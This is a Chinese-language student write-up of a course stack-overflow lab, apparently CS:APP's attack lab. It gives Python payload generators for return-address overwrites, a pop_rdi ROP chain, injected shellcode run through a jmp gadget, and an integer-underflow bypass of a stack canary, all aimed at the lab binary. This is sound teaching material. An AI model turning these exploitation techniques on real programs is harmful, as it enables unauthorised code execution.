栈溢出攻击实验

题目解决思路

Problem 1:

- **分析**：通过objdump和IDA进行反汇编分析，func1就是打印那句话的函数，而main会自动执行func，因此我们需要通过栈溢出攻击来使func在返回时调用func1，这只需要把func的返回地址改成func1的起始地址即可。通过分析func的运行时栈，为了注入func1的起始地址，需要16字节的padding。
- **解决方案**：

```
# -*- coding: gbk -*-
padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding+ func1_address
# Write the payload to a file
with open("ans1.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans1.txt")
```

- **结果**：！problem1

Problem 2:

- **分析**：问题2和问题1的区别在于，能打印那句话的func要检查rdi的值为0x3f8。我们需要调用pop_rdi，利用它将rdi的值改为0x3f8，再调用func2。func的运行时栈和问题1一样，因此还是用16字节padding，然后修改返回地址调用pop_rdi，再写入要修改的值，最后写入func2起始地址用于调用。
- **解决方案**：

```
# -*- coding: gbk -*-
padding = b"A" * 16
pop_rdi=b"\xC7\x12\x40\x00\x00\x00\x00\x00"
value=b"\xF8\x03\x00\x00\x00\x00\x00\x00"
func2_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"
payload = padding+ pop_rdi+ value+ func2_address
# Write the payload to a file
with open("ans2.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans2.txt")
```

- **结果**：problem2

Problem 3:

- **分析**：问题2开了NX，问题3没开，注意到这个才能做出来。我读了半天，横竖看不出来怎么改rdi的值，最后发现可以改机器码，于是问了AI这个机器码怎么写，成功通关。接下来是思路分析：
  整体思路和问题2比较像，只是不知道怎么改rdi。阅读了给的所有小函数以后发现jmp_x和jmp_xs可以强制跳转，于是我们把shellcode写在[rbp-0x20]，接着进行填充，最后将返回地址改到jmp_xs，用于跳转执行

shellcode。
shellcode是：mov edi,0x72 ; mov rax,0x401216 ; jmp rax

- **解决方案**：

```
# -*- coding: gbk -*-
# 利用思路：把shellcode放在[rbp-0x20]，ret跳到 jmp_xs(0x401334)，由其跳到shellcode执行
# shellcode: mov edi,0x72 ; mov rax,0x401216 ; jmp rax
shellcode= (
    b"\xBF\x72\x00\x00\x00"                                    # mov edi, 0x72
    b"\x48\xB8\x16\x12\x40\x00\x00\x00\x00\x00"                # movabs rax, 0x401216
    b"\xFF\xE0")                                               # jmp rax
padding= b"\x90" *15                                           # NOP 填充到 0x20 字节
fake_rbp = b"\x00\x00\x00\x00\x00\x00\x00\x00"                 # 任意8字节
ret_to_jmp_xs = b"\x34\x13\x40\x00\x00\x00\x00\x00"           # 实为 jmp_xs@0x401334

payload = shellcode + padding + fake_rbp + ret_to_jmp_xs
# Write the payload to a file
with open("ans3.txt", "wb") as f:
    f.write(payload)
print("Payload written to ans3.txt")
```

- **结果**：problem3

Problem 4:

- **分析**：Problem4不能用栈溢出，因为函数入口都会把线程本地的canary（fs:0x28读到栈上，返回前再比对，若被覆盖就调用__stack_chk_fail，所以传统覆盖返回地址会先被canary拦截。题的通过点不在字符串，而在最后输入的整数：func里把计数上限设为0xFFFFFFFE，对输入做无符号循环自减，随后判断"循环后值是否为1且原始输入是否为-1"。当输入 -1（32位即 0xFFFFFFFF）时，循环结束后恰好变成1，且备份仍为-1，条件同时成立，程序按正常控制流调用func1并退出，从而通关。
- **解决方案**：先随便输两个字符串，然后输入-1.
- **结果**：problem4

思考与总结

本次实验的要诀是"读汇编—定目标—算偏移—选最短链"。先从反汇编锁定成功条件（如目标函数与参数），再根据函数尾部形态（`ret`/`leave; ret`）精确计算覆盖布局与偏移，所有地址按小端写入，必要时再考虑 16 字节对齐。ROP 的核心是把寄存器设置到期望状态而非堆砌 gadget；当写窗很小或缺少常见 gadget（如 `pop rdi ; ret`）时，应转而利用程序自带的控制流组件（如 `jmp_xs`）或在 NX 关闭时直接执行极短 shellcode，以最低复杂度达成目标。

安全机制与策略选择同样关键。Canary 在函数入口保存 `fs:0x28`、返回前校验，一旦被溢出破坏就触发 `__stack_chk_fail`，使传统覆写返回地址失效；因此 Problem4 的正解是走程序原有的判定分支（输入 `-1`），让程序"自己"调用目标函数。整体经验是：优先寻找最短、可解释、可复现的路径；当常规利用受限（写窗、NX、PIE/ASLR、gadget 匮乏）时，不要死磕，回到二进制已有逻辑与工具，换道超车。

参考资料

做bomblab时积攒的知识
《CS:APP》
与chatGPT对话